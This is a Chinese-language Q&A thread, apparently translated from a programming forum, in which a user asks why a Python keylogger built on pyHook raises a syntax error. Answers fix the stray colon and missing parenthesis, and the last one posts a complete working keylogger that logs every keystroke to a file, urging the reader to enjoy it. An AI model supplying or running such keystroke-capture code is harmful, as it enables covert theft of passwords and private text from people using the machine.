这段代码中的chr有什么问题?

时间:2013-10-18 18:51:00

标签: python keylogger chr

嘿,有人知道这段代码中chr的问题是第一个chrchr(event.Ascii):)。它只是返回语法错误。我正在使用pyHook编写一个键盘记录器。提前谢谢。

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
    chr(event.Ascii):
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

3 个答案:

答案 0 :(得分:2)

这一行末尾有一个冒号。

chr(event.Ascii):

你应该删除它。

答案 1 :(得分:2)

该段代码中有两个错误。

首先,您缺少一个右括号:

logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
#              ----^                                                     -------^

如果没有这个右括号,Python就不知道该表达式应该何时结束。然后下一行没有意义并引发SyntaxError异常。

你的下一行有一个迷路冒号:

chr(event.Ascii):

您需要删除。您也不会存储该调用的结果,您可以省略该行。

以下是正确的Python。

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True

答案 2 :(得分:0)

使用此代码并享受.. !!

import pyHook, pythoncom, sys, logging

file_log = 'D:\zzzz1.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()